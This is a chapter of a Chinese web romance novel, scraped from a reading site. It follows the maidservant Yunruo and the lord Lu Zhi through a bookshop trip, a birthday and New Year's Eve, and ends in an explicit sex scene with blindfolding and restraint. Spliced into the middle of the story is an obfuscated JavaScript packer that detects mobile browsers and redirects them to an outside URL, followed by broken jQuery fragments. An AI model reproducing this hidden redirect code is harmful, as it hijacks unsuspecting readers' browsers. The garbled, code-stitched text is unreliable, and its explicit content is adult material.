默认冷灰
24号文字
方正启体

34. 岁岁

作者:薄荷里本书字数:K更新时间:
    又多看了几幕戏,和殷灵闲聊了一阵,云若估摸着时候不早了,准备回去了。


    约好了下次再会,殷灵把她送上马车。


    “天冷,姐姐快些进屋去吧。”


    殷灵点头应着,一个小厮急匆匆跑过来,殷灵从他手中接过东西,塞进云若手里。


    “店里卖得最好的几款小吃,你应该喜欢,带点回去尝尝。”


    还不等云若说谢,连人带吃的全被殷灵赶上了车,两人挥手作别。


    回去路上,云若想着先前殷灵提及的无字楼,世子书架上的话本都是有些年头的,她想看看最近出的话本,一问车夫,并不需要绕远路,她就麻烦车夫先去一趟无字楼。


    很快就到了地方。


    这一片都是卖文房四宝或是书籍的,不用进哪家店,都能闻到淡淡的墨香。以篆书题字的无字楼比其他店铺要显眼一些,它一共两层,店面相较而言中规中矩,和她想象中的样子有点出入。


    一进门,就有小厮迎上来,用不大的声音问她需要什么。


    云若环顾一周,看到零零散散有些人在看书,她说想要买些最新上的话本,小厮便领着她到了一排书架前,由她挑选。


    话本有点多,一时看得她眼花缭乱,挑了几本名字很吸引人的,试看了几页觉得不错,拿着去结账。


    无字楼的二层是半开放的,进了门从两边都可以上到二楼,她还能看到二楼也有不少人,一些是在挑书,一些是小厮在整理书架。


    整家店看上去朴实无华,与殷灵口中那个风头无两的无字楼很有反差,想来无字楼的经营完全以书为主体。


    小厮接过书,算好价钱给她包起来,云若从荷包里拿出碎银递给他。


    入府这么久,她都没有什么花钱的机会,月钱都被她攒了起来,她今天出门前揣了点,粗略一数早就不止当时祖母卖掉她的三十两。


    小厮把包好的书和找的钱递给她,云若收钱的时候,一个高大的男子撩开帘子出来,小厮见到立即恭恭敬敬叫了一声掌柜的。


    云若被吸引注意抬头看了一眼,男子模样周正,一身硬朗,若是小厮不叫,她不会觉得眼前的人会是掌柜。


    男子把手中的账本递给小厮,不经意和她对视上,云若随即错开,拿上书离开了。


    “宋掌柜把那两本书送过来了吗?”


    “一早就送过来了。”


    “那你跑一趟沈府,给沈小姐送去。”


    “好嘞。”


    云若走得不快,听到了无字楼掌柜的吩咐,那小厮是个干活利索的,她这边刚上马车,就见小厮已经揣着书出门了。


    马车很快超过了小厮,人越来越小,最后隐于这雪白的天地间。


    回来的时候马车依旧停在离镇国公府有一段距离的地方,云若走了段路,踩了不少雪,到了阶下,她赶紧把雪抖落,怕雪化了打湿鞋子。


    一阵寒风掠过,吹得云若一哆嗦,赶紧推门进屋取暖。


    坐在榻上看书的陆执听到声响,抬头看她。


    云若一和世子对上眼,立马笑着上前,喜滋滋同他讲她今日出去做了些什么。


    本来打算等云若一回来就质问她为何这么晚才回来的陆执被她打乱了计划,不想扫了她的兴,他这会只能老老实实放下书,听她讲话。


    看得出来出门一趟她很是高兴,收获不少,摆在他面前,事无巨细跟他说了个遍,陆执难得当回不扫兴的聆听者,不时还会接接话。


    “奴婢还以为话本会卖得很贵,没想到这么几本还要不到一两碎银。”云若把话本一一铺开,问他,“世子,你猜猜这几本花了奴婢多少钱?”


    陆执略一思付,摇头说不知道。


    云若张开手掌晃了晃:“才五百文!”


    其实通常的话本只要几文钱,不过无字楼的因着它自身的名气和质量上乘,会贵上不少,不过陆执还是装出小吃一惊的样子,附和她:“这么便宜?”


    云若连连点头,陆执看着她的样子,嘴角不自觉上扬。


    “下次奴婢要多买几本,感觉这几本很快就能看完。”


    陆执点头肯定,以她现在一目十行的速度,确实很快就能看完。


    垂眸间,瞥到她裙角被雨雪打湿,外头雪大,怕她衣裙湿得厉害着凉,陆执催她去换身衣裳。


    云若领命,这会不说话了,才发现屋子里不知什么时候点上了灯。


    “怎么天这么快就黑了?”


    云若知道冬天本来就黑得早,记着陆执的叮嘱,她特意早点赶回来,她记得方才进屋的时候,屋内不用点灯都还很亮堂,怎么才说了一会儿话,外头就已经黑了。


    “奴婢回来得很晚吗?”她有点疑惑。


    “很晚。”陆执语气笃定,“你要是再晚点回来,我就要去同殷掌柜要人了。”


    其实不然,云若回来得挺早的,只是她同陆执说得太高兴,没注意说了多久。


    云若心下了然,向他保证般说道:“奴婢不敢了,下次奴婢会早点回来。”


    陆执眉眼含笑,“好。”


    目送她高高兴兴回去换衣裳,陆执打她出门后就有些浮躁的心重回宁静,他复又拿起书,这会儿看得进去了。


    **


    进入腊月中旬后,为着迎接除夕,镇国公府又稍微热闹了些。


    承熙院也在右安的安排下,忙碌了起来。


    东西添置好后,就开始布置院子,从里到外,红色的东西越来越多,看上去也有了喜气。


    暮色降临,点上今儿个刚换好的大红灯笼,这下整个承熙院都有了过年的样子。


    云若虽然没怎么上手,但还是蹭了一身灰,她在院子里整理的时候,有人过来告诉她世子在找她,云若赶紧进了屋。


    一进去她就闻到了食物的香味,走过去一看世子面前放着一碗热气腾腾的面,正疑惑这还不到世子平常用晚膳的时辰,世子出声唤她。


    “布置好了?”


    云若点头。


    “世子您饿了怎么不吩咐奴婢去备膳?”


    陆执示意她坐下,“我不饿,这是给你准备的。”


    云若用手指了指自己,陆执点头。


    “今儿个是什么日子?”


    云若在心里数了数日子,回他:“世子您忘了,昨儿个刚过小年,今儿当然是腊月二十四了。”


    “我怎么记得,腊月二十四不是某人的生辰吗?”


    云若怔了一下,世子口中的某人好像是她。


    想起之前劝世子去庄小姐的生辰宴的时候,世子随意一问,她也随意一说,没想到世子记住了。


    也是,世子记性这么好,记个日子不难。


    见她一直看着自己没有动作,陆执把碗推到她面前:“趁热先把面吃了?”


    汤面的香气扑来,这碗面的卖相很好,大片肉配上青菜卧在细长的面上,全都浸在浓郁的汤汁里。


    这面看上去像是长寿面,云若终于反应过来,世子这是在为她庆生。


    这还是第一次有人为她庆生,云若拿筷子的手都有点不自然了。


    她夹起,发现是很长的一根。记得听人说过长寿面不能咬断,寓意不好,她咬住面头开始边吸溜边嚼,很快两颊都鼓了起来。


    云若嚼了很久,看面还有很长,实在吃不下,把它咬断了。


    吃了这么大一口,云若有些不好嚼,只能以手掩嘴,起码不会当着世子的面吐出来。


    不用世子说,她都知道她这副样子太傻了,上方果真传来轻笑声。


    云若窘然,低头加紧嚼咽。


    咽下最后一口,云若放下手,这么久都没听见世子说话,她暗舒了口气。


    她又夹起刚才咬断的那头,重新吃了起来,这次她不会像刚才那样不舍得咬断了。


    陆执单手托脸,一直在旁边安静地看着她吃,等她放下筷子,才递了帕子给她。


    “吃饱了吗?”


    “嗯。”


    虽然只有一根面,但胜在长度够长,她吃得饱饱的。


    “恭喜四娘又长了一岁。愿你往后岁岁,平安喜乐,万事顺意。”


    很平常的祝词,但就是让人觉得很温暖。


    云若莞尔:“多谢世子,奴婢会的。”


    这一年她的际遇太多,不过幸而总的来说都是好的。


    “你想要什么贺礼?”


    她居然还能有贺礼,不过,“贺礼不应该是要送的人准备吗?”


    “我准备了一些,但不确定是不是你喜欢的或是需要的。总觉得仅凭我觉得好像还不够,所以就想着不如直接问你,你想要的起码是合你心意的。”


    “想要什么都可以吗?”


    “自然。只要是我力所能及的。”


    虽然这么说,云若一时半会儿也想不出来,反倒是更想知道世子原本打算送她什么。


    “那世子原本准备了什么?”


    不曾想陆执欲言又止,说不出东西来。


    云若歪头看他,眼里的好奇逐渐被将信将疑取代。


    陆执轻敲她的额头,无奈解释着:“什么都准备了一些,不可一概而论。”


    听起来世子备了不少,这下云若更想知道了,“那不如就把您准备的都给我吧!”


    不料陆执摇摇头,云若不解,只听他说:“这些本就是给你准备的,早就放到你屋子里了,只是我觉得那些算不得贺礼。若你一时也想不到要什么,不如先把这个愿望留着,等你什么时候想到了,再同我说如何?”


    这样的话,那她岂不是鱼和熊掌兼得?虽然有点不好意思,不过云若还是收下了世子的一番好意。


    “世子放心,到时候奴婢一定不会提太过分的要求。”为了不让世子太吃亏,云若找补了一句。


    她的要求能过分到哪里去,不想要她顾虑太多,陆执说:“过分点也无碍。”


    “那奴婢可不同世子客气了。”


    “我等着看你要怎么个不客气。”


    晚些时候,左行和右安也悄悄过来给她送祝福,还让她早点回屋拆贺礼。饶是有准备,待她看到桌子上堆满的东西,还是吃了一惊。


    这就是世子说的准备了一些吗?


    云若一边拆看一边归置,吃的用的穿的戴的,真是一应俱全,无论哪样她都挺喜欢的,做贺礼完全足够。


    夜间,她躺着床上,想着的全是那些东西她要怎么用,一直在心里计划到深更。


    接下来的几天,全府都忙着迎接新年的到来。


    除夕这天可不轻松,一早镇国公就要带着陈氏和陆执进宫朝贺,回来后全家需得祭祀祖先,晚上的家宴是少不了的,随后还要守岁。


    一向爱热闹的云若听着都觉得累,正愁着不用她伺候的时候要怎么打发时间,世子直接大发慈悲让她和右安看院子,只带左行出门。


    这感情好,云若压抑着嘴角的笑,没有残忍地在焉巴巴的左行面前表现得太过高兴。


    一早就把人送出门,剩下的人也开始干活。


    云若帮忙指挥着贴春联,换门神,一起剪窗花装饰。她以前过年从没有过这些,跟着忙起来,也感受到了浓浓的年味,今年还没过完,她就已经开始期盼来年了。


    今天一整天,到处都是此起彼伏的炮竹声,听得人都跟着精神了些。


    他们几个守院子的一起吃了年夜饭,无事可干,聚在一起玩牌打发时间,云若先是站在旁边观望学习,后来被劝上了桌。


    云若刚开始没上手,输了不少,待她摸清楚了打法,就开始回本了。


    陆执回来的时候看到的就是云若赢牌了以后,伸手围着一圈人要钱,其余人虽然嘴里叫着怎么又是你赢了,但脸上还是不减笑意,给钱的动作也爽快,毕竟大家玩得不大,只是图个过节热闹。


    面向门的小厮先注意到了陆执,惊呼了一声世子,几个人手忙脚乱,收牌的收牌,装钱的装钱,云若则是把手里的牌藏进袖子背在身后,行了个别扭的礼。


    陆执视线略过她。他说怎么堂屋里没什么人,敢情跑到这偏房里玩牌来了。


    不过看得出他们只是打着玩,陆执没怪罪,叮嘱他们和气生财,然后给大家伙发了压岁钱,这才给了她一个眼色转身离开,云若会意,赶紧扔下手里的牌跟了上去,连赢的钱都顾不上。


    身边的左行一脸幸灾乐祸的样子,云若觑他一眼,才不和他计较。


    跟着世子进了屋,接过小厮递过来的茶水,端到陆执面前,他一抬头,看见她满脸笑容可掬。


    其实云若看得出来世子情绪与平常一般,现下如此安宁平和,想着刚刚情急之下连好不容易赢回来的一点本钱都还没来得及拿,她有些心痛,而且世子发压岁钱却独独没发给她,这大过年的,总得讨点福气。


    “世子,奴婢怎么没有压岁钱。”


    “方才见你不是赢了不少?”


    云若不敢说因为你的突袭现在连本钱都没有了。


    “那是奴婢自己赢的,算不得压岁钱,要世子给的才是。”


    他拿出一个红色的荷包,原来早就有准备,云若双手伸着要接,陆执递到一半,又收了回来。


    “不说点好听的话来听听,想空手套白狼?”


    说点吉利话而已,那有何难,她张嘴就是天花乱坠一通说,把她这一年学到的都快说了个精光,这才见到陆执满意地点了点头,她立马巴巴伸出手,陆执也大方地给了。


    左行立马捡着她说过的词,也去讨压岁钱,讨是讨到了,但是比不得云若那鼓鼓囊囊一荷包。


    “不是说您今夜要守岁,怎么这会儿就回来了。”


    “前院人太多我不喜欢,在我这小院子里守岁也是守。”


    说的也是,依世子的性子,在前院待着定是觉得乏味。


    “还有一两个时辰才到午夜,不如您和我们玩几把牌?”


    云若刚学会,正是瘾大的时候,想着就这么大眼瞪小眼等到午夜也太漫长了。


    看陆执没说不允,那就是同意了,麻溜出门凑了副牌,把右安叫上,还顺路去厨房顺了点心。


    几个人围坐一圈,除了云若,其他三人都是老手,一点不客气,上来就让她输了把大的。


    连输几把,眼见刚得的压岁钱快去了一半,云若愈发谨慎起来。仔细一琢磨,发现他们都有一些出牌的习惯,尝试着从这找突破口,她开始慢慢转败为胜。


    到最后,输得最多的竟然是看上去仅次于世子、第二聪明的右安。


    右安主动认输,云若和左行数着自己的输赢,数完自己的见陆执没动作,她指着他面前的银两暗戳戳示意,陆执直接把银两都推到她面前。


    虽然世子好像误会了她的意思,不过云若还是帮世子数了数,一合计发现自己是赢得最多的。


    “差点以为压岁钱都要输没了,幸好右管事手下留情!”赢了钱的云若自然是欢喜的,况且今儿个的输赢都算不得什么,主要是图乐。


    右安笑得含蓄:“这牌我确实不擅长,就斗胆散点财给大家助助兴。”


    确实如此,在座的人都是笑吟吟的。


    离子夜还有几刻钟,云若想起下午那会儿她经过库房的时候,看到一角堆了不少各式各样的烟花,右安说若是世子回来得早就能点。


    “世子,离子夜还有会儿,不如我们出去放烟花,边玩边等?”


    看她满脸期许,陆执哪有不答应的道理,本来那些烟花也是买来玩的。


    见陆执点头,几人立马从座位上站起来,牌桌都来不及收拾,云若连忙去拿世子的黑色大氅,她也在陆执的敦促下穿上斗篷,迫不及待出了屋子。


    左行和右安负责把烟花从库房里拿出来,云若等不及,跑去帮忙,陆执也跟着过来,搬到前院太麻烦,索性就在后院玩了起来。


    几个要两人环抱才圈得住的大烟花,要等子夜才能点燃,他们先拖出来摆在院子里,他们现在可以玩那些动静不大的小烟花。


    三人凑在陆执身边,点燃了第一束烟花。云若拿着一大把,想玩但又有点害怕,手抻得老远,见左行手里的火折子离引线越来越近,她撇开脸了。


    噼啪声响,包着火药的彩纸崩散,点点星光炸开,看上去很漂亮。


    云若把烟花分给几人,一直揣手窝在大氅里的陆执伸出手接了过来,云若和左行像小孩子一样呀呼,高兴得在院子里蹦跳。


    绚烂很快消散,三人连忙拿起新的接着上一根续燃。


    至暗过后,又是一瞬白昼般的亮,随后是五彩斑斓的火焰。


    陆执手中的烟花熄灭,袅袅青烟隐入夜色,他也陷在黑夜里,不过一瞬,亮光乍现,云若拿着刚点燃的烟花递给他,火焰全映在她的脸上,眼睛亮闪闪的,比手中的烟花还好看。


    陆执接过,恍惚间得了几分小时候玩这些的乐趣。


    他手上这根燃得慢,云若拿了新的就着他快要燃尽的焰火续上,随后还不忘塞支刚点燃的到他手里。


    就这么燃了熄,熄了燃,她不厌其烦,玩得起劲。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284241|164828||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    快到子夜的时候,除了陆执,一人拿了个火折子准备点烟花,云若虽然还是有点怕,但是想自己点的想法压过了那点害怕。


    陆执在一旁提醒他们时间:“马上子夜了。”


    云若一手捂住自己的耳朵,另一只手拿着火折子颤颤巍巍候在引线附近,听到远方一声砰响,她赶紧把火折子怼了上去,一听到刺啦声,她拔腿就跑,没两步就被人抱了个满怀。


    惊魂未定间,烟花已经窜上天,在黑夜里开出绚烂的银花,左邻右舍遥相呼应,好不热闹。


    这下云若已经全然忘了刚才的惊吓,她沉浸在漫天的烟火里,由着人抱着她。


    她仰头看他,笑着问他:“新的一年,世子有什么心愿吗?”


    怔了半晌,陆执刚要开口,却被烟火打断。


    云若蹙眉,还以为是自己没听清,陆执摇摇头说没什么,她的注意又被焰火吸引去了。


    等她点的放完,左行和右安才依次点燃,但烟花易逝,不消一刻钟,几个烟花就都燃完了,院子里突的安静下来。


    “这就结束了?”


    等了这么久的重头戏,一转眼就结束了,大家都还有点意犹未尽。


    “我想起去年不是还剩几个比这些还大的,放在库房最里面。”那几个是左行特地挑的,去年就没机会放,这会拿出来放也挺合适。


    右安质疑:“去年的,怕是受潮了,容易哑火。”


    “搬出来试试就知道了。”陆执吩咐他们。


    两人又去了库房,云若本想跟着去帮忙,但看世子孤零零站在雪地里,她还是没挪步子,候在他身边。


    一阵寒风吹过,云若打了个寒颤。


    “冷吗?”


    云若点头,看陆执手从大氅里拿出来,还以为他要把大氅解给她,一句“世子您自己披着就好”还没说出口,陆执已经把她整个人裹进了他的大氅里。


    寒意全被隔绝在外,她不一会儿就暖和起来。


    “你刚才想说什么?”


    月色映雪,陆执眉眼温柔如水,嘴角噙着浅浅的笑。


    今天世子里头穿的是新衣,少见的大红色,他穿着不见一点俗气,墨发以红色的发带高束,这一身是她搭的,白日里看本就多了几分邪气,现下在这雪夜里,更像是蛊惑人心的魅。


    “奴婢想说,”云若挪开视线,不敢看陆执黑沉的眸子,“多谢世子。”


    刚说完,气氛旖旎起来,她后悔着不应该说这句话的,听见他啧了一声,云若料着他要说什么,在他开口之际,她率先踮起脚要去亲他,但这回却没得逞。


    两人之间隔了厚厚的狐毛领,她踮脚往上也只是把自己埋进厚重里,亲了一嘴带着寒气的毛。


    陆执鼻腔轻嗤,发出低低的笑。


    “怎么谢我还要占我便宜,我这不是亏了?”


    云若心道,又在这里颠倒是非。


    她咬住下唇,似恼似娇:“那奴婢不占您便宜就是了。”


    说着,要从他怀里挣脱出来,却被抱得更紧。


    等她不挣了,他才矮下身来,拇指把她的下唇解放出来,歪头避开毛领交叠,吻上了她。


    随着他的引导,两人渐入佳境。不过唇齿辗转间,陆执总觉得有些别扭,睁眼一看才发现这个小家伙竟然不闭眼,黑溜溜的眼珠到处乱转。


    “怎么不闭眼?”


    “这个要闭眼的吗?”


    陆执无声笑了笑,是他这个老师当得不称职了,竟然这都没告诉她。


    “嗯,要闭眼。”他伸手捂上她的眼,边靠近她边说,“然后,感受我。”


    眼睛闭上,其他的几窍就更加精明些。


    他的鼻息,他的清冽,他捏着她腰间软肉的手,都比平时更加明显。


    眼睫止不住轻颤,明明挠的是他手心,心却莫名跟着她颤。


    渐渐地,陆执已经站直了身,沉迷其中的云若却没发现,反而被他勾着不追不觉追着他吻。


    她踮脚攀上他的肩,男人揽着她的腰紧贴着他。


    这个绵长细密的吻,让她双腿发软,站不住要往下滑的时候,被人拦腰抱起。


    唇瓣短暂分离,云若趴在他怀里喘息。


    陆执把她抱得很稳,一直到被他放到床榻上,她都没什么颠簸感。


    把她放下后,陆执没立马撤出手,气息交织,云若仰头看他。


    借着月色,他看到了她纯粹的眼睛,里面全然是对他的信任,没有一点防备,余下方才他勾起的一点子春情。


    陆执眸中翻涌起滔天的欲色,他扯下她腰间的襟带,不等她反应就蒙上了她的眼睛。


    云若覆上他的手,烛火昏暗,即使被蒙上了眼,她还是能感到一点朦胧的光影,但是看不清他的身影,这让她有些不安。


    看不到,屋外的寒风,雪落的簌簌,低沉的喘气,灼热的气息,清冽的香味,全都浓烈地裹挟着她。


    她仿佛还听到了有人在低语,这让她忍不住蜷缩身子,但却被人强硬地打开。


    身上的衣物几下就被人褪去,手掌带着主人的热情,抚过她每一寸发颤的敏感,最终握住了她的脚踝,让她动弹不得。


    细浅的湿吻蜿蜒而下,气息一阵短促凌乱,她咬住唇,双手抓住他宽厚的肩背,对男人高挺的鼻梁有了深入的认识。


    脑中的弦被他掌控,随着他的动作逐渐绷紧。


    快意拉扯着她,她微不足道的反抗终归是徒劳,抑制不住在他背上留下几道红痕。


    最终难抵他给予的猛烈,她控制不住颤抖的身子。


    有带着湿意的唇要来吻她,云若迷乱地回应,蓦地想着湿意的源头,她偏头想躲,被他阻止。


    “不准躲。”


    不知羞的半句话被两人的唇齿吞没,好半晌,他松开她的唇,在她耳畔低语。


    “好甜。”


    不知道是在对什么做评价,却听得她面红耳燥。


    莫大的欢愉过后是无尽的虚无,这会的人却不如刚才那般急切,反而有一搭没一搭地勾着她。


    她求而不得,心里渐渐委屈起来。


    “世子……”


    可是男人始终不为所动,她伸手想去揭开眼上的束缚,却被人捉住手腕,三两下给她绑到了床头。


    “叫我。”


    “世子……”


    男人没有反应。


    心热难耐,她已经顾不上什么规不规矩了,“陆执……”


    细碎的呜咽,他嘉奖似的替她缓解了一下,但聊胜于无。


    竟还不得他意,她无暇思考,脑海里一直回响着一个声音,犹豫再三,她终究是招架不住喊了出来,委屈中又有几分娇气,听得男人心都跟着一揪。


    男人勾唇,满足地笑了,“真聪明。”


    他亲吻她的脸颊,终于不再钓着她。


    云若仿佛一叶扁舟任水流激荡,她想伸手去抓身前的依偎,却被束住了双手。


    不能相拥,始终就有间隙,让她心里空落落的。


    她主动迎合想引起他的注意,果真如了愿。


    她直白自己的想法:“我想要抱你…也想,你抱我…”


    他拒绝不了这个请求,但还要讨更多好处,他诱着她:“想让谁抱你?”


    这会子,云若满是渴求,什么都顾不上了,她呢喃着:“鹤回哥哥…”


    手腕的束缚还是被解开了,她一下子就攀上了男人的背,依偎在他的肩头,贪恋他的炙热。


    耳鬓厮磨,严丝合缝。


    云若已经不记得眼上的襟带什么时候掉的,她只记得她晃神的时候,他一瞬不瞬地看着她,像是要把她融进他的身体。


    她想要什么,都得叫他,他才舍得给,真的是又坏又小气。


    愈到后头,她愈发黏腻勾人,他也愈发难以自持,被她无意识的撩拨弄到发狂。


    终归是他自作自受。


    他低头吻住她,不让她再叫。两人的气息交织沉靡,难舍难分。


    末了,陆执把瘫软的人搂进怀里,肌肤相亲,一起平复急促的心跳。


    他手指缠绕她柔顺的青丝,若有若无的吻落在她的发顶。


    “四娘。”他唤她,累坏了的人在他怀里嘤唔,这会都是无意识的反应。


    陆执唇角轻扬。


    本想同她说些祝福的话,现下觉得不说也罢,与其说那些泛泛而谈的美话,不如这会儿让她好好睡一觉。


    他想,只要从今以后,岁岁年年,她都常伴在他左右就好。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)